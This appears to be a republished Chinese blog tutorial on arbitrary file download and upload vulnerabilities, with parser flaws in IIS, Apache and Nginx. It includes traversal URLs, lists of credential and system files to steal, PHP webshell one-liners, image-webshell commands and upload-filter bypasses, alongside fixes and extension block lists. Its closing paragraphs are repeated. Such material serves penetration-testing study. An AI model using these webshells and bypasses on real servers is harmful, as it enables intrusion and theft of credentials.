zoukankan      html  css  js  c++  java
  • 关于任意文件下载及上传漏洞

    任意文件读取下载

    1、原理

    一些网站由于业务需求,往往需要提供文件查看或文件下载功能,但若对用户查看或下载的文件不做限制,则恶意用户就能够查看或下载任意敏感文件,这就是文件查看与下载漏洞。

    2、利用方式

    一般链接形式:

    download.php?path=
    down.php?file=
    data.php?file=

    或者包含参数:

    &Src=
    &Inputfile=
    &Filepath=
    &Path=
    &Data=

    当遇到一个任意文件下载时,我们的一般利用思路:

    (1)下载常规的配置文件,例如: ssh,weblogic,ftp,mysql等相关配置

    (2)下载各种.log文件,从中寻找一些后台地址,文件上传点之类的地方,如果运气好的话会获得一些前辈们的后门。

    (3)下载web业务文件进行白盒审计,利用漏洞进一步攻入服务器。
    尝试读取/root/.bash_history看自己是否具有root权限。如果没有的话。我们只能按部就班的利用../来回跳转读取一些.ssh下的配置信息文件,读取mysql下的.bash_history文件。来查看是否记录了一些可以利用的相关信息。然后逐个下载我们需要审计的代码文件,但是下载的时候变得很繁琐,我们只能尝试去猜解目录,然后下载一些中间件的记录日志进行分析。

    如果我们遇到的是java+oracle环境

    可以先下载/WEB-INF/classes/applicationContext.xml 文件,这里面记载的是web服务器的相应配置,然后下载/WEB-INF/classes/xxx/xxx/ccc.class对文件进行反编译,然后搜索文件中的upload关键字看是否存在一些api接口,如果存在的话我们可以本地构造上传页面用api接口将我们的文件传输进服务器

    如果具有root权限

    在linux中有这样一个命令 locate 是用来查找文件或目录的,它不搜索具体目录,而是搜索一个数据库/var/lib/mlocate/mlocate.db。这个数据库中含有本地所有文件信息。Linux系统自动创建这个数据库,并且每天自动更新一次。当我们不知道路径是什么的情况下,这个可以说是一个核武器了,我们利用任意文件下载漏洞mlocate.db文件下载下来,利用locate命令将数据输出成文件,这里面包含了全部的文件路径信息。

    locate 读取方法: locate mlocate.db admin //可以将mlocate.db中包含admin文件名的内容全部输出来

    (4)常见利用文件
    /root/.ssh/authorized_keys
    /root/.ssh/id_rsa
    /root/.ssh/id_ras.keystore
    /root/.ssh/known_hosts //记录每个访问计算机用户的公钥
    /etc/passwd
    /etc/shadow
    /etc/my.cnf //mysql配置文件
    /etc/httpd/conf/httpd.conf //apache配置文件
    /root/.bash_history //用户历史命令记录文件
    /root/.mysql_history //mysql历史命令记录文件
    /proc/mounts //记录系统挂载设备
    /porc/config.gz //内核配置文件
    /var/lib/mlocate/mlocate.db //全文件路径
    /porc/self/cmdline //当前进程的cmdline参数

    3、漏洞修复

    (1)过滤".",使用户在url中不能回溯上级目录

    (2)正则严格判断用户输入参数的格式

    (3)php.ini配置open_basedir限定文件访问范围

    (4)设置白名单,即只能下载/访问某个目录下的文件,权限给到最低

    4、实例

    http://192.168.18.54:78/pikachu/vul/unsafedownload/execdownload.php?filename=../down_nba.php
    
    http://192.168.18.54:78/pikachu/vul/unsafedownload/execdownload.php?filename=../../../../../admin.php
    
    http://192.168.18.54:78/pikachu/vul/unsafedownload/execdownload.php?filename=..%2F..%2F..%2F..%2F..%2Fadmin.php
    

    本来是图片,现在下载源代码了。

    注:Linux的../打的很多也最多只跳转到网站根目录下,不会出现问题,但是Windows下不行,。
    一般来说,都是程序员没有指定下载文件变量对应路径的地址,就会造成跳转。


    在这里插入图片描述

    任意文件上传

    http://192.168.18.62:99/upload/include.php?file=./upload/test.jpg

    当我们传入图片马的时候,想要连接这个图片马就需要结合文件包含漏洞才可以连接。

    因为文件包含"include()函数"会将包含进去的所有内容当做"程序"执行,要是有一句话就执行了。

    也就是说,上传的任何东西除了中间件本身的文件能够直接执行,其他的要想执行都得需要文件包含漏洞

    1、原理

    大多数网站都有文件上传的接口,但如果在后台开发时并没有对上传的文件进行安全考虑或采用了有缺陷的措施,导致攻击者可以通过一些手段绕过安全措施从而上传一些恶意文件,从而通过该恶意文件的访问来控制整个后台

    2、分类

    在这里插入图片描述

    3、基本思路

    在这里插入图片描述

    4、基本绕过方式

    一句话:<?php @eval($_POST['123']);?>
    

    1、客户端检测绕过(javascript 检测)

    首先观察到提示只允许上传图片文件,那么前端的查看代码,当页面发生改变时,会调用这个checkFileExt函数来检查上传的是不是图片,我们只需要在前端将checkFileExt函数删除,就能上传一个一个非图片文件。

    在这里插入图片描述

    效果不是太好,那么直接用burp效果好:

    在这里插入图片描述
    在这里插入图片描述

    2、服务端验证绕过(MIME 类型检测)

    MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。

      每个MIME类型由两部分组成,前面是数据的大类别,例如声音audio、图象image等,后面定义具体的种类。
    
    常见的MIME类型(通用型):
    超文本标记语言文本 .html text/html
    xml文档 .xml text/xml
    XHTML文档 .xhtml application/xhtml+xml
    普通文本 .txt text/plain
    RTF文本 .rtf application/rtf
    PDF文档 .pdf application/pdf
    Microsoft Word文件 .word application/msword
    PNG图像 .png image/png
    GIF图形 .gif image/gif
    JPEG图形 .jpeg,.jpg image/jpeg
    au声音文件 .au audio/basic
    MIDI音乐文件 mid,.midi audio/midi,audio/x-midi
    RealAudio音乐文件 .ra, .ram audio/x-pn-realaudio
    MPEG文件 .mpg,.mpeg video/mpeg
    AVI文件 .avi video/x-msvideo
    GZIP文件 .gz application/x-gzip
    TAR文件 .tar application/x-tar
    任意的二进制数据 application/octet-stream
    
        通过使用 PHP 的全局数组 $_FILES,你可以从客户计算机向远程服务器上传文件。
    第一个参数是表单的 input name,第二个下标可以是 "name", "type", "size", "tmp_name" 或 "error"。就像这样:
    
    $_FILES["file"]["name"] - 被上传文件的名称
    $_FILES["file"]["type"] - 被上传文件的类型
    $_FILES["file"]["size"] - 被上传文件的大小,以字节计
    $_FILES["file"]["tmp_name"] - 存储在服务器的文件的临时副本的名称
    $_FILES["file"]["error"] - 由文件上传导致的错误代码
    
    详细可参考:http://www.w3school.com.cn/php/php_file_upload.asp
    
           分析代码逻辑:首先会获取到前端的提交请求,然后定义了一个数组(定义图片上传指定类型),然后通过upload_sick函数对上传的文件进行一定的检查。
    分析upload_sick函数存在漏洞的的原因是因为 $ _FILES() 这个全局的方法是通过浏览器http头去获取的content-type,content-type是前端用户可以控制的。容易被绕过。
         上传一张正常的符合标准的图片,对其content-type进行抓包操作。可见正常上传符合要求的图片中数据包中content-type为image/png对比符合条件,而php文件则不符合条件返回文件类型错误。
    
    

    演示:在这里插入图片描述
    在这里插入图片描述

    3、代码注入绕过--getimagesize()

    getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息,如果用这个涵数来获取类型,从而判断是否是图片的话,会存在问题。
    
    语法格式:
        array getimagesize ( string $filename [, array &$imageinfo ] )
    getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。
    

    方法:————————>>>>>文件包含漏洞之文件上传漏洞利用
    方法一:直接伪造头部GIF89A
    方法二:CMD方法,copy /b test.png+1.php muma.png
    方法三:直接使用工具增加备注写入一句话木马。

    即:一句话变为图片格式test.jpg,同时再反十六进制修改文件头标识。

    或者用真图片进行合并

    或者直接在真图片中写入一句话

    效果如下:

    在这里插入图片描述

    上面的方法已经显示不行了,那么就用修改格式头的方式:

    GIF89A

    在这里插入图片描述

    在这里插入图片描述

    在正常文件里面添加一句话:

    在这里插入图片描述

    在这里插入图片描述

    依然可以达到效果

    4、路径/扩展名绕过

    1、白名单
    0x00截断或test.asp%00.jpg
    MIME绕过
    
    2、黑名单
    (1)文件名大小写绕过
    (2)名单绕过
         用黑名单里没有的名单进行攻击,比如黑名单里没有.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess后缀文件之类
    (3)特殊文件名或文件夹绕过(windows)
          还有比如发送的http 包里把文件名改成test.asp. 或test.asp_(下划线为空格),这种命名方式在windows 系统里是不被允许的,所以需要在burp 之类里进行修改,然后绕过验证后,会被windows 系统自动去掉后面的点和空格,但要注意Unix/Linux 系统没有这个特性。
    (4)0x00截断
    name = getname(http request) //假如这时候获取到的文件名是test.asp .jpg(asp 后面为0x00)
    type = gettype(name) //而在gettype()函数里处理方式是从后往前扫描扩展名,所以判断为jpg
    if (type == jpg)
    SaveFileToPath(UploadPath.name, name) //但在这里却是以0x00 作为文件名截断
                                       //最后以test.asp 存入路径里
    
    (5)把文件名改成test.asp. 或test.asp_(下划线为空格),这种命名方式在windows 系统里是不被允许的,所以需要在burp 之类里进行修改,然后绕过验证后,会被windows 系统自动去掉后面的点和空格,但要注意Unix/Linux 系统没有这个特性。
    (6)双后缀名绕过
    (7)::$DATA绕过
        是Windows下NTFS文件系统的一个特性,即NTFS文件系统的存储数据流的一个属性 DATA 时,就是请求 a.asp 本身的数据,如果a.asp 还包含了其他的数据流,比如 a.asp:lake2.asp,请求 a.asp:lake2.asp::$DATA,则是请求a.asp中的流数据lake2.asp的流数据内容。
    

    5、安全防范

    ​ 针对文件上传漏洞的特点和必须具备的三个条件,我们阻断任何一个条件就可以达到组织文件上传攻击的目的:
    1、最有效的,将文件上传目录直接设置为不可执行,对于Linux而言,撤销其目录的'x'权限;实际中很多大型网站的上传应用都会放置在独立的存储上作为静态文件处理,一是方便使用缓存加速降低能耗,二是杜绝了脚本执行的可能性;
    2、文件类型检查:强烈推荐白名单方式,结合MIME Type、后缀检查等方式(即只允许允许的文件类型进行上传);此外对于图片的处理可以使用压缩函数或resize函数,处理图片的同时破坏其包含的HTML代码;
    3、使用随机数改写文件名和文件路径,使得用户不能轻易访问自己上传的文件;
    4、单独设置文件服务器的域名;

    6、图片二次渲染

    原理:将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。具体实现需要自己编写Python程序,人工尝试基本是不可能构造出能绕过渲染函数的图片webshell的。

    即:说白了就是原本的图片上传到了服务器,服务器对其进行了再次编码,这时候我们只需要进行一个对比测试,找出渲染后与原图片相同的部分进行替换代码即可。

    7、绕过方法总结

    (一定要注意这个函数:

    $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;  
    

    它不保证我们上传的文件还是不是上传的原名)

    • 客户端js限制绕过(将php文件重命名为jpg/png满足页面要求,抓包之后将其改回php文件名)

    • 对文件MIME类型进行了验证判断(直接上传php文件,抓包,将原数据包中Content-type的值改为image/png,)

    • 黑名单验证,即否定如array('.asp','.aspx','.php','.jsp')这样的后缀名(我们可上传php3,php5...等这样可以被服务器解析的后缀名)

    $deny_ext = array('.asp','.aspx','.php','.jsp');
    
    • 黑名单限制不完全,如.htaccess文件没有被限制,或者说:

      $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
      

      另外一种方法就是利用PHP 和 Windows环境的叠加特性,以下符号在正则匹配时的相等性:

      利用PHP 和 Windows环境的叠加特性,以下符号在正则匹配时的相等性:

      双引号"     =   点号.
      大于符号>   =   问号?
      小于符号<   =   星号*
      

      先上传一个名为4.php:.jpg的文件,上传成功后会生成4.php的空文件,大小为0KB.

      然后将文件名改为4.<4.<<<4.>>>4.>><后再次上传,重写4.php文件内容,Webshell代码就会写入原来的4.php空文件中。

    • 如果在代码中具有完整的黑名单限制,但是没有大小写限制,即没有下面的一句话:

     $file_ext = strtolower($file_ext); //转换为小写
    

    我们就可以尝试将原来的test.php改为test.phP上传(即大小写混合)

    • 利用Windows系统的文件名特性。文件名最后增加空格和点,写成test.php .,这个需要用burpsuite抓包修改,上传后保存在Windows系统上的文件名最后的一个.会被去掉,实际上保存的文件名就是test.php

    或者变成点和空格

    或者变成点空格点

    •   分析代码,少了    $file_ext = str_ireplace(‘::$DATA‘, ‘‘, $file_ext);//去除字符串::$DATA    这一句,我们可以采用Windows文件流特性绕过,文件名改成
        
        test.php::$DATA , 上传成功后保存的文件名其实是1.php
      

      ::$DATA文件流这种形式可以绕过杀软(免杀)

    • 双写文件名绕过

    分析代码,由于 $file_name = str_ireplace($deny_ext,"", $file_name);   只对文件后缀名进行一次过滤,这样的话,双写文件名绕过,文件名改成test.pphphp
    
    • 白名单绕过:以时间戳的方式对上传文件进行命名,使用上传路径名%00截断绕过,不过这需要对文件有足够的权限,比如说创建文件夹,上传的文件名写成test.jpg, save_path改成../upload/test.php%00 (test.php%00.jpg经过url转码后会变为test.php00.jpg),最后保存下来的文件就是test.php

    在这里插入图片描述

    存在的要求: php版本要小于5.3.4,5.3.4及以上已经修复该问题;magic_quotes_gpc需要为OFF状态
    

    这里只能是运维的问题不是开发的问题,属于php版本问题非代码问题

    • 上传路径0x00绕过。利用Burpsuite的Hex功能将save_path改成../upload/1.php[二进制00] 形式

    在这里插入图片描述

    • 绕过文件头检查,添加GIF图片的文件头GIF89a,绕过GIF图片检查

      或者我们使用命令copy 1.jpg /b + shell.php /a webshell.jpg,将php一句话追加到jpg图片末尾,代码不全的话,人工补充完整。形成一个包含Webshell代码的新jpg图片,然后直接上传即可。但是我们没有办法拿到shell,应为我们上传的图片马无法被解析成php形式,通常图片马配合%00或者0x00截断上传,

      或者配合解析漏洞

    • getimagesize() 函数用于获取图像尺寸 ,索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM

      这里有详解:https://blog.csdn.net/sanbingyutuoniao123/article/details/52166617

      image_type_to_extension() 函数用于获取图片后缀

    • 原理:将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。具体实现需要自己编写Python程序,人工尝试基本是不可能构造出能绕过渲染函数的图片webshell的。

      这里提供一个包含一句话webshell代码并可以绕过PHP的imagecreatefromgif函数的GIF图片示例

      php图像二次渲染:

      https://blog.csdn.net/hitwangpeng/article/details/48661433

      https://blog.csdn.net/hitwangpeng/article/details/46548849

      https://xz.aliyun.com/t/2657

      这两个讲的还可以

      打开被渲染后的图片,Webshell代码仍然存在

      提供一个jpg格式图片绕过imagecreatefromjpeg函数渲染的一个示例文件。 直接上传示例文件会触发Warning警告,并提示文件不是jpg格式的图片。但是实际上已经上传成功,而且示例文件名没有改变。

      从上面上传jpg图片可以看到我们想复杂了,程序没有对渲染异常进行处理,直接在正常png图片内插入webshell代码,然后上传示例文件即可,并不需要图片是正常的图片。

      程序依然没有对文件重命名,携带webshell的无效损坏png图片直接被上传成功。

    • 利用条件竞争删除文件时间差绕过。使用命令pip install hackhttp安装hackhttp模块,运行下面的Python代码即可。如果还是删除太快,可以适当调整线程并发数。

    即让服务器对文件删除的速度比不上我们上传的速度,那么服务器就可能造成漏删

    实验:抓取两个包,一个上传文件的包,一个访问文件的包。都进行无限重复攻击,可能会成功。

    • 上传名字为18.php.7Z的文件,抓包快速重复提交该数据包,会提示文件已经被上传,但没有被重命名。利用上传重命名竞争+Apache解析漏洞在这里插入图片描述

    • 双文件上传:

    解题思路:
    •	文件命名规则:$file_name = reset($file) . '.' . $file[count($file) - 1];
    •	reset():将内部指针指向数组中的第一个元素,并输出。
    •	end():将内部指针指向数组中的最后一个元素,并输出。
    •	$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];如果save_name不为空则file为save_name,否则file为filename
    •	if (!is_array($file))判断如果file不是数组则以’.’分组
    •	文件名命名规则$file_name = reset($file) . '.' . $file[count($file) - 1];
    •	我们POST传入一个save_name列表:['info20.php', '', 'jpg'],此时empty($_POST['save_name']) 为假则file为save_name,所以由$ext = end($file);为jpg可以通过后缀名判断(判断结束后最后一个元素jpg弹出),并且最终文件名组装为upload20.php.
    
    解题步骤:
    •	上传包数据为:
    

    在这里插入图片描述

    补充:解析漏洞(上传的文件通过解析漏洞达到执行的目的)

    即漏洞利用方式达到文件解析

    1、IIS5.x-6.x

    使用iis5.x-6.x版本的服务器,大多为windows server 2003,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件,而不能解析aspx文件。

    目录解析

    形式:

    www.xxx.com/xx.asp/xx.jpg

    www.xxx.com/xx.asa/xx.jpg

    www.xxx.com/xx.cer/xx.jpg

    www.xxx.com/xx.cdx/xx.jpg

    原理: 服务器默认会把.asp,.asa目录下的文件都解析成asp文件。

    解析文件类型,IIS6.0 默认的可执行文件除了asp还包含这三种 :

    ​ /test.asa
    ​ /test.cer
    ​ /test.cdx

    在这里插入图片描述

    文件解析

    形式:www.xxx.com/xx.asp;.jpg
    原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。

    那么举个例子:在这里插入图片描述

    修复方案

    1.目前尚无微软官方的补丁,可以通过自己编写正则,阻止上传xx.asp;.jpg类型的文件名。
    2.做好权限设置,限制用户创建文件夹。

    2、apache解析漏洞

    漏洞原理

      Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 test.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把test.php.owf.rar解析成php。

    漏洞形式

    www.xxxx.xxx.com/test.php.php123

    其余配置问题导致漏洞

    (1)如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。
    (2)如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以 php 方式执行。

    修复方案

    1.apache配置文件,禁止.php.这样的文件执行,配置文件里面加入

    <Files ~ “.(php.|php3.)”>
            Order Allow,Deny
            Deny from all
    </Files>
    

    2.用伪静态能解决这个问题,重写类似.php.*这类文件,打开apache的httpd.conf找到LoadModule rewrite_module modules/mod_rewrite.so
    把#号去掉,重启apache,在网站根目录下建立.htaccess文件,代码如下:

    <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteRule .(php.|php3.) /index.php
    RewriteRule .(pHp.|pHp3.) /index.php
    RewriteRule .(phP.|phP3.) /index.php
    RewriteRule .(Php.|Php3.) /index.php
    RewriteRule .(PHp.|PHp3.) /index.php
    RewriteRule .(PhP.|PhP3.) /index.php
    RewriteRule .(pHP.|pHP3.) /index.php
    RewriteRule .(PHP.|PHP3.) /index.php
    </IfModule>
    

    总结:apache解析漏洞默认就是从右往左进行解析,遇见不认识的后缀名就跳过进行下面的内容解析。

    而错误的配置,如 AddHandler php5-script .php 和AddType application/x-httpd-php .jpg ,也都会造成直接解析成php文件。

    3、Nginx解析漏洞

    漏洞原理

    Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 如果开启了这个选项,那么就会触发在PHP中的如下逻辑:

    PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了

    注:快速搭建的环境是默认开启的,手工搭建是不会启用的。

    漏洞形式

    www.xxxx.com/UploadFiles/image/1.jpg/1.php
    www.xxxx.com/UploadFiles/image/1.jpg/%20.php

    ​ www.xxxx.com/UploadFiles/image/1.jpg%00.php

    ​ xxx.jpg%00.php (这个方法需要Nginx <8.03 才能生成空字节代码执行漏洞)

    除上面以外的另外一种手法:上传一个名字为test.jpg,以下内容的文件。

    <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
    

    然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。

    修复方案

    1.修改php.ini文件,将cgi.fix_pathinfo的值设置为0;
    2.在Nginx配置文件中添加以下代码:

    if ( $fastcgi_script_name ~ ..*/.*php ) {
    return 403;
    }
    

    这行代码的意思是当匹配到类似test.jpg/a.php的URL时,将返回403错误代码。

    4、IIS7.5解析漏洞

    IS7.5的漏洞与nginx的类似,都是由于php配置文件中,默认开启了cgi.fix_pathinfo,而这并不是nginx或者iis7.5本身的漏洞。

    环境安装参考:https://www.xp.cn/a.php/182.html

    当安装完成后, php.ini里默认cgi.fix_pathinfo=1,对其进行访问的时候,在URL路径后添加.php后缀名会当做php文件进行解析,漏洞由此产生

    注意:

    该解析漏洞利用需两个条件:

    1. php.ini里cgi.fix_pathinfo=1(默认为1)

    2. 在”Handler Mapping”中取消勾选以下内容(默认是勾选了的):

    在这里插入图片描述

    在这里插入图片描述

    在这里插入图片描述

    如此,就可以来点高级玩法

    创建cmd.txt文件,内容为

    <?php
    fputs(fopen('shell.php','w'),'<?php  phpinfo();?>');
    //创建新的文件
    ?>
    

    保存后,重命名为cmd.jpg 文件

    再次进行访问
    在这里插入图片描述

    5、Ewebeditor漏洞

    编辑器漏洞,看文档资料,就不再多解释了

    思路就是登录了一个编辑器站点,增加一个样式,看能不能增加上传图片的方式上传加入脚本文件达到控制服务器的能力

    6、fckeditor漏洞

    对编辑器来说,一般使用者很少有人去改默认路径,毕竟涉及到的链接都需要改,不懂开发的都不会改,这里直接访问编辑器的默认路径就可以传东西了。

    几乎所有的编辑器都是文件、目录解析漏洞或者进入后头修改文件格式自定义文件上传格式进行绕过,或者注入、或者00截断(php低于5.3.4且没有魔术符号)

    注意上传图片后右键看链接地址有没重命名、二次渲染等

    白名单代码没问题那就是运维的问题

    解析漏洞很重要!!!!(低版本型,高版的函数都不一样的,不过解析漏洞都是通杀,像政府、医疗等等都用的老版的)

    即:能否通过上传图片然后传入脚本的方式拿webshell

    任意文件下载任意文件读取原理都一样:没有控制访问权限、没有过滤../等

    判断有无漏洞:客户端服务端、黑白名单、解析漏洞等等(方法给了,黑盒测试就是用这些方法去尝试测)

    电脑的cmd永远只会以原来的格式执行(muma.exe改为muma.jpg,cmd中执行.jpg仍然可以)

    发的都不会改,这里直接访问编辑器的默认路径就可以传东西了。

    几乎所有的编辑器都是文件、目录解析漏洞或者进入后头修改文件格式自定义文件上传格式进行绕过,或者注入、或者00截断(php低于5.3.4且没有魔术符号)

    注意上传图片后右键看链接地址有没重命名、二次渲染等

    白名单代码没问题那就是运维的问题

    解析漏洞很重要!!!!(低版本型,高版的函数都不一样的,不过解析漏洞都是通杀,像政府、医疗等等都用的老版的)

    即:能否通过上传图片然后传入脚本的方式拿webshell

    任意文件下载任意文件读取原理都一样:没有控制访问权限、没有过滤../等

    判断有无漏洞:客户端服务端、黑白名单、解析漏洞等等(方法给了,黑盒测试就是用这些方法去尝试测)

    电脑的cmd永远只会以原来的格式执行(muma.exe改为muma.jpg,cmd中执行.jpg仍然可以)

  • 相关阅读:
    git 学习
    ruby on rails 把阿里云上的图片资源转移到七牛云上写的一个task 文件 自动转移
    修改mysql的默认编码
    ruby on rails 安装中遇到的一些问题
    unity打包资源格式全解析
    unity打包全过程解析
    mmorpg手游中的战斗系统
    在线调试lua原型设计
    lua特性纪要
    软件开发中的哲学问题
  • 原文地址:https://www.cnblogs.com/jeromeyoung/p/14286963.html
Copyright © 2011-2022 走看看